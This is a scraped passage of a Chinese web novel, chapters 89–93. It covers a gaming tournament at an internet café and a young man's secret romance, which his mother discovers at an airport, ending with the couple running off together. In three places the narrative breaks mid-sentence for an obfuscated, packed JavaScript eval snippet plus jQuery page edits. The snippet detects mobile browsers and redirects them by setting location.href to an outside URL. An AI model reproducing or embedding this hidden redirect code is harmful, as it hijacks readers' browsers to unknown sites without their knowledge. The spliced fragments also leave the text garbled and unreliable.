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时和摸了摸鼻尖,又点点头。 “就去半天。”他说道。 濯清指尖在膝盖上敲打着,神色严肃,模样好像时和出门半天是一个可以跟会见合作方相提并论地大事。 “游戏有个比赛。”时和又说。 濯清问:“那个……” 时和:“PK大赛。” 濯清想起来了:“我怎么记得上个月就开始了?这么久还没比完?” 时和解释说:“报名的人多,光海选就有八万人,打完一轮会中场休息两天。” 幻世录玩家人数大,活跃度高,按照“生产流水线”思维,把大规模任务拆解成标准化环节,即能降低服务器压力,还能延长赛程商业价值。 这段时间光直播和赞助,幻世录就没少拿钱。 时和能想明白的,濯清也能。濯清没说什么,只是点点头。 “妈。”时和又喊了声。 新的游说话术还没说出来,濯清就摆了摆手,特别大方地说:“去吧,记得戴上手表。”他整个人没反应过来。 等到濯清说:“怎么,妈妈是什么独裁家吗?”时和才上前搂了濯清一下,哄着人说道:“哪能呢,您是世界上最善良的妈妈!”给濯清哄得面膜都掉了一半。 隔天下午,时和就知道了为什么濯清昨晚那么好说话——一切只因为濯清要去一趟苍城。一来看看沈停一家,二来去给时和办理退学手续。 只要濯清不在家,他的自由度就高许多,这是他这半年观察到的结果。只是他不知道为什么。但这样的自由他喜闻乐见,所以他笑着挥别了濯清,还再三保证一定按时给濯清汇报。 转眼到了PK大赛这天。 网吧从凌晨开始就络绎不绝地来人,到了下午,网吧门口甚至贴上了预约进门的通知。 而时和,就在这样的预约通知下,顶着无数双打量的目光,被宴云川半拥在身边进了门。 89.Chapter·反常 时和觉得自己多少因为医生给的复学建议飘了,才以为自己已经痊愈,可以面对千兵万将。 说千兵万将毫不夸张。网吧门推开,从门口临时搭建的擂台区到包厢走廊挤满了人,这些人组成了人形制暖气,在十六度的空调下制造出了二十五度的二氧化碳。 时和脚步一顿。 可奇怪的是,这些人看见他都格外安静。这样的安静并不是默不作声,而是大家对他失去了“兴趣”。他看过宴云川身份曝光那会的盛况,说是把门槛踏破、把嘴皮说破都显得轻了。 这会,网吧虽然依旧沸反盈天,但没有人关心他是不是真的“己见”,也没有十万个为什么追着他问。有的只有一双双打量又隐忍的眼神。 时和一路疑惑到收银台。 把人带到收银台边,宴云川看了林朔野一眼。林朔野自觉摆了两下袖子从收银台前的椅子上离开,又抽来一张椅子并排,做了个邀请的姿势掐着嗓子说道:“您二位爷坐。”被沈停捂着眼睛拉走了。 擂台旁边有人忍不住,“噗嗤”笑了一声。时和望过去,一个瘦高的男生倚在墙边。收到时和的眼神,男生赶紧看向宴云川摆手:“我可冤!这是尹川逗我笑!川老板!不能怪我啊!” 林朔野指了指自己:“我——” 宴云川笑着朝男生丢了一包辣条:“嗯。” 网吧的一切都透着反常。游戏区时不时传来打PK的吵闹声,擂台区有人问沈予烽怎么还没来,有人回时间还早。廊道有现场交友的、有跨区认亲的。新来的店助和两个网管穿梭在人群中央。所有人都在说话,唯独没听见“己见”。 时和猜到什么,看着宴云川。 宴云川拿来一杯热可可:“可以缓解紧张。” 时和接过热可可,谨慎地掀开口罩一点,像做贼一样瞥了眼周围,确认电脑可以挡着他动作他才喝了一口。温热的可可瞬间舒缓了毛孔,让人放松下来。他听见宴云川说:“我没做什么,只是在你来之前,他们已经把问题问的差不多了而已。”又投过眼神。 宴云川背对廊道,躲在电脑下轻轻把火机推到时和手边,像是无意的动作一样,只是在拿回火机的时候,顺手勾了勾时和尾指,说道:“大家对你很好奇,从早上问到刚才。” “刚——”时和开口,嗓子因为紧张和长久不说话而变得嘶哑。他清了清嗓,“刚才?” 宴云川说着半真半假的话:“嗯,你来之前他们刚好问完。” “……” 时和觉得宴云川在把他当白痴哄。 收银台传来一声闷笑,从廊道望过去,能看见宴云川弯着腰,某些角度像在错位。而在不为人知的角落,网吧一群人早已组建了自己的交流吃瓜群,群里消息正跟炸烟花似的往外炸。 [呜呜呜!是川老板笑还是见爹?!笑得也太宠了吧!哪个好心人传一下视角!] [报告!是川老板!] [我猜也是,见爹超冷,怎么可能会笑!] [只有我吃见爹这款吗!冷傲徒弟柔师父!我直接宣布川老板成为我苏攻后宫一员!] [谁笑了?哪笑了?我怎么没听到?] [好想知道他们在说什么……] [这两人是师徒吧?是吧是吧?我孤狼!有谁知道师父真的会对徒弟这么宠溺地笑吗!] [反正张飞不会这么对关羽!] … 这只是其中一个吃瓜群,吃瓜内容主要以磕CP为主。像这样的吃瓜群还有七八个,从讨论一个月前时和为什么A游到讨论今天的比赛到底谁会赢,话题应接不暇,键盘声声声入耳。 这些时和都不知道。时和还不知道,网吧为什么一片祥和,是因为宴云川一早就用十天免费上网的权益收买了来往顾客,只为让他适应。 至于那些不能收买的,已经被请出去了。 SOLO赛就在这么一片“祥和”的氛围里开始了。受官方邀请,这场比赛在官方直播间进行。沈予烽是卡着预备的点进来的,他进来的时候,时和明显感受到了这届网民的战斗力。 从沈予烽踏进网吧的那一刻开始,“沈予烽”三个字就萦绕在网吧上空,像一团越累越大的积雨云。有评论他穿着的,说他是哪家公子哥吃饱了没事做,实在不行就去做个慈善。还有评论他这番没事找事行为的,说他八成是嫉妒宴云川和时和的美貌与才华。甚至还有人把沈予烽和纪帆关联上了一块,把沈予烽气的脸都黑了。 这里面也不乏客观分析局势的人,认为沈予烽和宴云川都是区服冠军,真碰上头谁输谁赢还是未知数。更何况宴云川和时和算是临时组队,双人PK最吃默契,节奏稍有一点不对就会崩盘。 紧接着,他们就看见时和安静地坐在宴云川身边。两人一言不发,但是场上幽篁技能稳稳地砸在了御风身上,无一错漏。 就像合作多年的老友,时和总能抓住宴云川攻击时机加BUFF,而宴云川也会在对方攻击时和的时候,放弃输出只为了给时和套个风盾。 起初,围在擂台周围的人还会喊两声,不分敌友的提醒两边注意技能。可这样的提醒无济于事。两边输出太快,四只手像是钢琴家弹协奏曲一样眼花缭乱。 区别在于,时和和宴云川演奏的是柔和的亡灵序曲,而沈予烽两人,更像野蜂飞舞。 “T他!T他!” “闪啊!” “他妈他套盾你还放绝技!” “他带BUFF过来了!我去左边拦幽篁!” 擂台边的看客不知道什么时候安静了下来,他们好像憋着一口气不敢喘,也不敢说话,生怕打扰了宴云川和时和。这样的安静就显得沈予烽两人特别急躁。 第一局,宴云川和时和赢得毫不意外。第二局,两人依旧稳定发挥,第三局开始。就在周围人开始松气叽叽喳喳的时候,时和手腕的手表响了起来。来电显示濯。时和漏掉了三局来第一个技能,周围传来几声倒吸凉气的声音。 其实这样的失误对于“冠军赛”来说根本不算什么,非指向性技能命中率本来就低,只是两边技术好,才拉高了命中。加上时和和宴云川太过变态,这样的命中就变成了百分之百。 百分之百变成百分之九十九,大家慌的没有理由。周围窃窃私语声音越来越大,传到时和耳朵里,只剩下“输”这一个字。< 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他问道:“妈,是退学不顺利吗?” 濯清回:“已经办理好了。” 时和在心里松了一口气。 “妈妈……妈妈现在准备回榕城。”濯清在电话那头说,说着又陷入停顿,好像多说一个字都要调动全部精力应对一样。 时和安静地等着,等到濯清说,“车抛锚了,买了机票。”他担忧地问:“您和宁莉姐没事吧?” “没事,小故障。”濯清声音愈发疲惫,“小莉已经让保险公司来处理了。”说到最后,她问时和,“宝贝,等下可以来接接妈妈吗?” 能说出让自己去接的话,那肯定遇到很大的麻烦了。时和整个心揪了起来,想到决赛,他问濯清:“您几点的机票?” 濯清说:“半小时后。” 那还来得及。决赛刚好在半小时后,时和搜了一下,苍城飞到榕城预计一小时,他打快一点,刚好可以打个滴去机场。 挂断电话,摘下耳机,网吧响起穿透墙壁的欢呼声。时和走进网吧,就被一群人簇拥围在了中间,他们一声一声喊着“见爹牛逼”、“川老板牛逼”。时和从周围的喜悦里拼出了宴云川一挑二的过程,也从沈予烽队友的黑脸中看出了这场胜利的轻松和惬意。 只是周围的喜悦好像透不进他的心里。 本该高兴的场景,时和却被濯清的状态压着,整个人比来时更冷。 察觉不对,宴云川把人带到收银台,递了杯热水,顾不上周围人的打量,捏了捏时和手腕,小声问:“是退学出了问题么?” 时和摇头:“是我妈。” 宴云川问:“伯母怎么了?” 时和很不安地说:“我也不知道。我从来没见我妈说话这么累过。她只说车抛了锚,但我总觉得——”觉得没那么简单。 时和语速越说越快,说到最后,他抬眼都带上了红,看得宴云川心疼得不行,用二十分钟结束了幻世录准备了将近一周的决赛。 90.Chapter·巧合 榕城国际机场,濯清走出机场,一眼便看见了躲在柱子后面探头的时和。她走上前,下意识看了眼时和身后,看见宴云川,濯清脚步一顿。 “小川来啦。”濯清惯例寒暄着。 瞥见濯清手上的行李,宴云川走上前打算接过,濯清却躲了一下,又非常自然地把行李箱递给时和,数落道:“你看你,网吧那么忙还叫小川过来,惯会麻烦人。” 时和没觉得有什么不对,小声说了句:“他不嫌麻烦。”顺手把手上行李箱递给宴云川,追问濯清,“妈,您在苍城发生什么了?” 濯清看了眼行李箱上交叠的两只手,眉头微微一皱,想说什么,两只手又松开了。 时和又问了一遍:“妈?” 濯清怔了怔,收回目光说:“没什么事儿,只是行程比较赶,从你廖阿姨那儿出来就去苍大,后来又见了两个合作商,回来路上车子抛了锚。一天发生的事情太多,妈妈有点儿累。” 一天赶好几个行程,的确是濯清的作风。只是以往濯清再赶两个行程回来都会意气风发。 三人往接驳车方向走,走在路上,时和总觉得哪儿不对。他不放心,看了眼宴云川,又看向濯清问:“只是太累了么?” “怎么,宝贝还希望妈妈发生点什么啊?”濯清扯了个笑,捏捏眉心,“是真的累了而已。妈妈这两年太忙,又没怎么锻炼,身体素质一年不如一年。所以妈妈总跟你说要好好锻炼,省得——省得两个行李箱还得小川帮忙拿。” 时和不知道濯清怎么突然从锻炼身体说到了他身上。他被濯清说得脸热,下意识想拿行李箱回来“充充门面”,又被宴云川笑着挡了回去。 结果,濯清来了句:“给小和拿吧。” 一时间,时和和宴云川都愣了一下。 如果还不能察觉到濯清的异常,那时和自认为自己这个儿子白当了。 “妈,您今天到底怎么了?”时和问道。 濯清目光散开,又聚在时和身上,开玩笑似的拎了拎时和的胳膊说:“你看看你这二两骨头,再不锻炼一下,到时候复学了楼都爬不动。” 提到复学,时和才没再追问下去。 走到接驳车前,礼宾已经在车门等候多时。时和这才问:“那您准备什么时候去办理复学?” 时和以为会听见濯清说“过两天”,结果濯清却说了句:“不急。” 这一不急,就过了一周。这一周,时和多次提出想去网吧,都被濯清用各种理由留在了家里。直到一周后,家里来了个新的家教。 ** 家教是一个女生,年龄看着跟时和差不多大,听说是研一勤工俭学。两人说是“教学”,更多时候是学术研讨,因为时和早已学过了相关课程。而濯清给的聘任理由是:“既然要复学,就从知识巩固开始,提前适应一下学校氛围。” 一切能顺利复学的事,时和都不会拒绝。结果没两天,家里又来了两个新的家教,分别辅修商英和管理经济学。也是女生。 起初,时和并不会在一家庭老师的性别,等到他在意的时候,家里已经连续来了五门课程的老师,全都是女生。 按理说,请家庭教师这件事是他人生前十几年都在做的,应该早已习惯了。而且老师的性别并不能决定什么。可是—— 这天下午,时和趁着上厕所的片刻喘息给宴云川打了一个电话,很茫然地说:“可是,宴云川,我感觉好奇怪啊……” 洗手间隔音不错,除了细弱的回声,听不见一点动静。饶是这样,时和也说的很小声。这几天都是这样,他不知道从哪一分钟开始,他就不敢在濯清面前提到宴云川了。 那些好不容易争取的自由,好不容易卸掉的防备,好像一夜之间再次回归,又回到了刚开始聊个天都躲躲藏藏的时候。 时和有种预感,可他不敢开口。 “崽崽。”宴云川在电话里很轻的喊了声,喊得时和险些控制不住情绪,想不管不顾地冲出去。 然后他就听见宴云川问:“如果伯母发现我们在一起了,她会怎么做?” 那一瞬间,时和鸡皮疙瘩爬了一身。 他当即说:“不会的!” 宴云川在电话里安抚着嗯了一声,没再说话。他知道时和会想明白。 时和又说:“不会的。” “我妈……” 濯清如果发现了,肯定会质问才对。会在接机那天就歇斯底里,会让他离宴云川远—— 可是——时和倏地想到,他好像在用另一种方式,一种见不到面、甚至一天里聊不上半小时的方式,离宴云川越来越远了…… 时和不说话了,或者说,不敢说话。 直到宴云川在电话里说:“我们试一试。” ** 隔天,沈停带着宴云川一早出现在了时和家门口。濯清开的门,看见宴云川也就反应了三秒,便跟往常一样热情地迎了进来,说道:“小和还在上课,”又看向沈停,“怎么来也不说一声,这样我好把小和的课往后排。” 沈停哈哈一笑,嘴上打着马虎:“这不刚开学,上课上忘了。抱歉阿姨。”心理想的却是:提前说了你找理由把时和带走了我上哪交差去。 总归这门是顺利进了。濯清一改机场那天的精神状态,神采奕奕地端来水果点心,又走上楼破天荒地结束了时和一早的课。 家庭教师下来的时候,濯清正说着:“……课时费正常结算。” 她摆手说:“不用了濯阿姨,课才刚开始。” 时和从没感觉家里的楼梯这么漫长。他光看见宴云川坐在沙发上,却好像永远走不到宴云川的身边。这样的想法让他内心慌了一下,就看见宴云川回头,眼神不经意朝他望了过来,像是一道安抚。 楼梯突然两步就到了。 送走家庭教师,走到沙发,时和发现自己竟然不敢坐下。 他不知道自己该坐去沈停身边,还是可以像以前一样坐在宴云川旁边,又或者他需要离宴云川远一点好以避嫌。 时和感觉自己落进了一盘围棋里,成为了一颗棋子,一下错,就会满盘皆输。 就在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334090|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,濯清突然端着茶水走过来,纳闷地看着站在沙发旁边的时和,自然走到沈停身旁坐下,又对时和说:“你这孩子,站那多不礼貌。快坐下,和小川他们聊聊天。” 提到“小川”,时和像被大卸八块一样,瘫在了宴云川旁边,狠狠松了一口气。 说话间,宴云川掐了几颗葡萄,时和以为他要给自己,那口气又提了上来,生怕濯清发现什么不对。结果,宴云川转头把葡萄给了沈停。 不知怎的,葡萄真不给自己,时和又开始失落了。下一秒,就见宴云川又掐了几颗。 时和以为这次是要给濯清,眼睛都要垂下来了,忽然听见身侧声音说:“学弟,给。” 眼前划过一抹青绿,时和抬头,眼神顺着青绿色往上,直到看见末尾白皙的指尖才停下。 他不自觉望向濯清,确认濯清在跟沈停聊天没注意到这边,他才像做贼一样叼走了葡萄。 突然,濯清转了过来:“网吧最近怎么样?忙吗?”吓得时和葡萄整个咽了进去。 桌上摆着果盘,宴云川隔着盘子无声无息把水杯推到时和面前,对濯清说:“开学了没那么忙,加上新招了三个网管,比以前轻松很多。” “也是该招两个人。”濯清点点头,“像你以前那样连续通班,年纪大就知道身体遭不住了。” 宴云川应了声是,又道了谢谢。 濯清的关切体面又自然,与平时一样,就好像连续上门的女教师只是巧合。时和观察了将近两个小时,挑不出错处,就连结束的时候,时和提出要送送宴云川,濯清也只是说:“去吧,帮小川拿着点儿东西。”又递上来两盒点心。 太正常了。 憋着话一路走到停车场,临别时,时和看了眼宴云川,宴云川会意,又看向沈停。 沈停啧一声,摆摆手:“你俩快点!”说着走去楼梯口去放风。 小区没有单独停电动车的位置,所有电动车和都地下停车场,被一排小车包围。此时刚过十点,上班的买菜的都已经走得差不多了,停车场安静得只能听见远处汽车熄火的回音。 一辆黑色雪弗兰身后,时和抵在墙上,轻轻踮着脚,舌尖时不时溜过齿缝,像是海妖一般诱惑道:“宴云川,我好想你。” 宴云川滚着喉结,看了眼旁边的摄像头。 “嗯,我也想。”他说道。 一星期没见面的想念不满足于一句话,时和手指好几次滑过宴云川手腕。第五次滑过时,宴云川没忍住,把人抱进了怀里。 怀里的人忽然放松下来。 时和声音闷闷地说:“宴云川,我觉得我妈没有发现。”语气说不上是疑问还是陈述。 宴云川又嗯一声:“看样子不像发现了。” 宴云川的回答像是给了时和一剂定心剂,时和重新回顾这一周,突然感觉发生的一切只是一场巨大的巧合,是他太紧张了。 只是这样的紧张也提醒了时和,既然要隐瞒,就要做好隐瞒被发现的准备。 他突然抬头说道:“宴云川,我给你打工吧。” 91.Chapter·私人 说完这句话,宴云川手机铃声瞬间响了起来。铃声像一道警报回荡在两人中间,让时和等不到答案便快速分开。 来电显示沈停,时和便知道濯清下来了。 果不其然,铃声响了没多久,时和便听到沈停断断续续地回音:“阿姨……学长车放……比较远,我懒……在这等他。” 濯清不知道信没信,站在楼道跟沈停聊天。 时和突然觉得眼前的一切挺滑稽的。就在半年前,他还举着四根手指对濯清发誓一定不会骗她,半年后他就在这上演你瞒我瞒的戏码。 他当时发誓怎么说来着…… 哦,想起来了。说他如果有一句假话,就让他这辈子在乎的东西永远得不到。挺狠的。 想到这,时和忽然笑了,笑不出声音,眼尾却带了红。就在宴云川说“我先去开车”时,他笑着对宴云川说:“宴云川,我好像得到报应了。” 宴云川拿车钥匙的动作一滞。 顾不上开车和濯清,他抽出手,手背搭在时和额头上,压着时和额头吻了下去,又小心翼翼地抽离。嘴唇松开时,宴云川问:“相信我吗?” ** 直到离开,时和也不知道宴云川说的相信究竟是什么,但心情因为那个吻好了很多。 他带着期待等到了晚上,等来了一份网吧连续四个月的营业财报还有一份五万的转款。他差点把手机抛了。 不是他没见过这么多钱,而是转钱对象。 如果是别人,时和二话不说就退回了。可这是宴云川,他还是发了个问号表达自己的疑惑。 看见宴云川说:[不是想帮我打工吗?] 时和盯着那五万,来回思考了很久。他不知道顾泽宸月薪多少,但能买起超跑,应该是不低的。所以,他理所应当想到:[私人助理?] 屏幕上方出现了将近两分钟的正在输入,时和后知后觉,这句“私人助理”实在奇怪。且不说网吧哪来的私人助理,私人这两个字就很奇怪! 卡着最后几秒,时和赶紧把消息撤回了。撤回同时,宴云川发来消息:“私人咨询师。”带着几分调侃的笑,还重点强调了“私人”。 被这么一调侃,时和有点破罐破摔。 [多私人?]他问道。 这几天时和一直绷着根线,许是今天确认了濯清没有异常,这跟弦放松下来,加上躺在被窝里身体一并放松,他难得开起了玩笑。 玩笑被宴云川接住:“可以随便进入我心底的私人。” 宴云川应该在包厢,说这话的时候还带着微弱的回音。回音一遍一遍钻进时和耳朵里。时和蜷了蜷身子,把被单拉紧了一些,挡住了嘴角。 鬼使神差,不知道哪根筋搭错了,时和发了句:[只是心底吗?] 微信那头突然没声音了。 意识到自己发了什么,时和猛地从床上蹦起来,抓着手机开始慌乱的撤回。但同样的,这条消息也被宴云川看见了。 微信跳出一条新的语音,时和没敢听,做了好一番心理建设才点开,听见一句:“亲爱的,现在是晚上。”手机还是掉进了床底。 等手机再捡起来的时候,时和耳后根已经烫到分不清东南西北了。他赶紧起床走到洗手间,往脸上冲了一捧水,似乎觉得这样还不够,又把准备床头的热牛奶喝了个精光。结果这样的热气非但解决不了他体内的躁,反而还加重了。 他脑海里出现了很多不该有的画面,从宴云川的腰线到脚踝。移到手腕的时候,时和又想到了在佛罗伦萨那会,好几次的欲拒还迎。他彻底炸开了,甚至有点后悔…… 如果在佛罗伦萨…… “……”时和觉得自己一定是病了。 一定是最近的患得患失,让他想做点什么…… 再次回到床边,宴云川发来新的消息:“二十分钟,宝贝儿——” 时和猛地掐了语音。 为了防止自己再想一些有的没的,或者宴云川再语出惊人,时和把话题扯到了正事上。 他看着那五万说道:[工资太高了。] 偏偏宴云川今天也不打算放过他:“在洗手间思考了二十分钟得出来的结论吗?” 时和把整个人砸进了被窝里,用枕头盖着自己狠狠翻了几个身。确认前后都熟透了,他摆着一脸“还能丢人到哪去”的决然,拿起手机按着语音就说:“对,思考了二十分钟的结论!” 宴云川在那边笑着:“崽崽,夜晚还很长。” 时和恼羞成怒,把五万退了回去。 把人惹毛了,宴云川终于开始哄人。只是最终,这五万块没有进到时和微信里。 一来,饶是宴云川说:“这是咨询费。以你第一次提供策划方案的时间计算,按照市场抽成5%,加上5%的私心,五万刚刚好。”时和还是觉得太多了,前前后后抹了3%的零头,留下了三万五和2%的私心,他才勉强满意。 二来,这三万五存进了宴云川的独立账户,因为时和担心濯清会查他消费记录。 ** 网吧正式多了一个新股东,林朔野过了一个周末才知道。知道过后他当即说要举办一场“股东欢迎会”。考虑到时和白天塞满了的课程,林朔野把这场欢迎会安排在了游戏上。 只是此游戏非彼游戏。 因为要上课的原因,时和白天的游戏时间一缩再缩,缩到最后只剩下了半小时日常。林朔野就把“欢迎会”安排在了网吧的联机小游戏里。 起初,欢迎会地点在网吧包厢,但林朔野觉得这样没有氛围,软磨硬泡,泡得时和答应用养成小游戏联机,把欢迎会定在了‘宴云川’客厅。 客厅茶几新增了几瓶可乐,一个穿着骷髅T恤拽上天的人穿梭在家具之间。每穿两步,此人就要评论一句,“这个钴蓝色窗帘哪来的?哥,你家的窗帘不是灰色吗?” “还有这面游戏墙,中间那个圆圆的图案是什么?响尾蛇吗?” “还有还有,这张床——” 林朔野走到房间,正想评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听见濯清说:“现在刚开学,不好插班。妈妈已经跟学校联系上了,转学手续用不了多久。” 时和才稍稍放心。 他又问道:“那您后天回佛罗伦萨?” 濯清点了点头。看着时和盘着腿坐在一边,她晃了下神,手掌不自觉搭上时和肩膀,想把时和拉得近一些。 等时和靠近,濯清提出:“宝贝,后天去送送妈妈好不好?” “送?”时和愣了一下,“机场吗?” 濯清:“嗯。” 不知怎的,时和有点犹豫。不光是去机场的犹豫,还有“送”这个突如其来的动作。就像一星期前让他去“接”一样。濯清从没让他送过。 草木皆兵的他把心里话问了出来。 “只是送吗?” 濯清哭笑不得在他额头点了一下:“怎么,还怕妈妈把你拐跑了啊。” 意识到自己说了什么,时和讪讪摸着鼻尖。 一来二去,他落了下风。自知理亏,时和在心里盘算着送去机场的时间和路程,没等他回复,濯清又说:“送妈妈到机场,等妈妈登机了,你可以让小川来接你。” 时和眼睛瞬间亮了,又怕濯清发现什么,小心翼翼地压了回去。 “那、”他清咳一声,佯装慎重考虑地说,“那好。妈,你几点的飞机?我好跟宴云川说一声。” 濯清说道:“早上八点飞。” 92.Chapter·私奔 八点的飞机,意味着时和得凌晨起来。 时和跟宴云川说的时候,言语间依旧带着怀疑。就像一个罹患PTSD的患者,哪哪都不放心,甚至连:[我妈不会给我买了机票想把我塞进机场吧?]这种天马行空的想法都问了出口。 但不能怪他。 自从他生病,濯清对他的睡眠时间进行了严格的掌控,九点上床十点入睡,早上七点起床。虽然濯清也有飞过早班飞机,可每次都不会吵醒他。 俗话都说事出反常必有妖。 宴云川认真思考了一下:[伯母以前做过吗?] 这种把人塞进飞机的事。 时和说:[没有。] 别人是在悲剧里找希望,时和现在颇有在希望里找悲剧的意思。他打字道:[可电视都这么演。] 打完又觉得自己在传递焦虑,说不定濯清真的只是累了,只是需要有人陪一程。于是他一个键一个键地删掉了这行字。 删完信息,时和看见向来不怎么爱发表情包的宴云川发了一个拥抱。他咬着嘴唇打字问:[宴云川,我是不是太紧张了?] 宴云川回:[别担心,那天我在机场等你。] 濯清是早八的飞机,如果宴云川要等,就意味着他也得四五点就起床。时和很想体贴的拒绝,可是不安让他答应了宴云川的方案。 时和觉得自己自私透了。为了掩盖自己的自私,他又找补似的对宴云川说:[那你那天上个早班,早点回去睡一觉。] 见宴云川回了“好”,他才放心。 客厅安静地呼吸可辨。濯清坐在一边处理公事,一时半会分不了心。时和瞥了濯清一眼,确认濯清在忙不会望过来,他这才打字道:[宴云川。] 宴云川回:[我在。] 时和说:[我们会一直在一起,对吧。]这一句不是疑问,更像是乞求。 宴云川回了一句:[嗯,会的。] 有了这句保证,时和这两天依旧心神不宁。他先是喝水打翻了水杯,然后上课记错了课表,最后在游戏里帮柚子录视频的时候因为不小心按到鼠标,连续NG了三次,NG到柚子来问宴云川怎么了,宴云川才解释:“身体不太舒服。” 柚子连说:“那我们明天再录吧!” 明天就是周五了。 周五这天,时和起了个大早。他撑着眼皮在看濯清收拾行李,从衣服到护肤品,确认行李里面没有他的东西,时和悬着的心终于落回去一点。 [是我想多了。]时和对宴云川说。 宴云川秒回:[确定了?] 时和说:[嗯,我妈妈没有收拾我的东西。] 许是困扰的问题得到解决,时和一路心情不错,就连濯清以“不能在车上玩手机”的名义收了他的手机,他也没有反抗,反而在车上睡了一觉。 到了机场,惯例宁莉去办理值机和托运。时和跟着濯清走到一边休息区。早上的机场人不多,休息区偶有几人路过,行色匆匆,但余光还是会瞥向时和。至少时和是这么认为的。 也不知道宴云川到了没有。 想到这点,时和找濯清要手机。 濯清却说:“陪妈妈聊聊天吧。” 时和往入口方向望了一下,有点着急。 “是在等小川吗?”濯清直接问道。 已经被发现了,时和便没打算瞒。况且是濯清提议让宴云川来接的。时和直接说:“嗯,约好了一起来机场,等会一起走。” 话落,濯清突然说:“他倒是很会照顾你。” 一句话,轻飘飘的,却像针一样扎进时和皮肤底下。时和警报瞬间拉了起来。 他摸不准濯清是什么意思,索性没有说话。 濯清又问:“小川是独生子?” 时和犹豫了一下,点头:“怎么了,妈?” 濯清笑了笑:“没什么,妈妈见得少,感觉很少见到独生子这么会照顾人。他家里做什么的?” 见濯清真的只是想聊天的意思,时和说:“不知道,我没问过。” 濯清若有所思地点了点头。 “妈……手机。”时和又问了一遍。 他手掌紧了紧,以为濯清又要用其他方式拒绝,一份不安爬了上来。下一秒,濯清大方的把手机递给了他,倒让这份不安无处安放了。 拿到手机,时和又看了濯清一眼,濯清撑着手,目光落在不远处的行人身上。 他抿了抿唇瓣,拉开微信找着宴云川,带着心慌问道:[到了吗?] 宴云川回:[我在你身后。] 时和下意识往身后望。眼神刚瞥过去,身侧传来一声:“宝贝,你有什么想对妈妈说的吗?”吓得他浑身血液像凝固了一样,出了一层虚汗。 他扭回头,佯装疑惑喊了声:“妈?” 不知怎的,濯清坐在座位上表情跟平日里一样,可时和就是不自觉地想到了那个梦里的濯清。在黑暗的楼道里狰狞的濯清。 所以,在濯清朝他伸手时,时和下意识往后退了一步。肩膀刚退,就被濯清拉了回来。 濯清在他肩上拍了拍说:“看你,有只小虫子都没发现。”一抬手,指甲上果然有只白色小虫。 时和觉得自己一定是犯病了。听见濯清说:“妈妈马上就要走了,没有什么想对妈妈说的吗?”他想的却是濯清是不是发现了什么。 他不知道回什么,只好僵硬着脖子说:“我会按时跟您视频。”说完,他看见宁莉走了过来,手里拿着三张机票。 这一刻,濯清的脸彻底跟梦里的脸重合了。 原来濯清早就知道了。他以为骗人的只有自己,到头来自己不过是这场骗人游戏里的NPC。 时和瞳孔骤缩,下意识就想起身。被濯清一把按住了手腕。不顾时和的挣扎,濯清像个宣告死刑的侩子手一样说道:“我知道你想去找小川,我也知道你和小川其实是、是那样的关系。可是小和,你真的要让小川过来吗?你看看你的周围,机场人来人往,到时候大家都会看着你们,看着他。” 濯清声音甚至称得上温柔,与半年前歇斯底里让时熵离婚的模样判若两人。时和看着濯清嘴唇开开合合,笑着喊他宝贝。他似乎不敢相信濯清还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妈,人不会先学会笑的含义再去笑,总是先有开口咧嘴声带震颤的行为,再给这个行为打上笑的标签,”时和低声说着,“我懂得什么是喜欢什么是依赖。我先喜欢的宴云川,这样的喜欢和依赖您是不一样的。” 说罢,时和猛地甩开了濯清的手。 休息区陆续进来人,看见一个穿着黑T的男生像是很急一样朝门口跑去,又看见角落里一个利落的中年女人失神地望向门外。 大家都在猜测这两人的关系。 可是猜测又怎么样,跌进这些人的眼睛里又怎么样。这一次,他有宴云川了。就像每次去网吧一样,宴云川都会帮忙拦下一部分的目光。剩下的那部分是他应该承受的,应该跟宴云川一起承受的。 从在一起的那一刻,他就想着怎么去隐瞒。隐瞒濯清,隐瞒看客,隐瞒周围所有人。就像宴云川带他走的那条没有红灯的路。 如果一条路的红灯太多,就换一条。另一条路可能会绕,会远,却有概率一帆风顺! “宴云川!我们私奔吧!”这是时和见到宴云川说的唯一一句话。剩下的一切都淹进了风里。 93.Chapter·冲动 出了机场,出租车行驶在高速路上,两边窗户大敞,秋天的晨风带着露,疯狂往车里灌。司机不知道发生了什么,只看见两道身影从机场出来,径直冲到他的车前上了车。 从上车到现在,其中一个乘客脸上的笑意就没停过。另一个乘客安静地看着,嘴角也似有若无的弯了起来,弯得他在前座跟着一块儿傻乐。乐到下了高架桥,司机才想起来问两人:“你们要去哪啊?马上红绿灯啦!待会别走错路咯!” 风灌的时和衣领微微隆起。时和分不清是太冷了还是犯病了,只感觉心脏狂跳。衣兜里的手机一直在响,响到后面,时和直接关了机。 没两秒,宴云川手机响了起来。时和看着宴云川。宴云川虽不知机场具体情况,但也猜得出大概。看时和目前这兴奋劲,网吧是不能去了。 他把手机静音,刚想报家里地址,时和拉着他小臂扯了两扯:“宴云川,我要去你那。” 宴云川看见司机眼睛瞪圆了,他笑了一下对司机说:“师傅,麻烦去榕江小区。” 出租车在红绿灯来了个一百八十度掉头。等平稳时,司机忍不住问:“你们是兄弟啊?” “嗯。”宴云川应一声。 司机神色松下来。 他刚想说兄弟好啊,感情好,就看见肾上腺素分泌过多的时和趴在宴云川耳边不知道说了句什么,宴云川脸色瞬间变了,望着时和的眼神仿佛下一秒会不管不顾的扑上去。司机那句“感情好”卡在喉咙,要上不下,险些给他噎死。 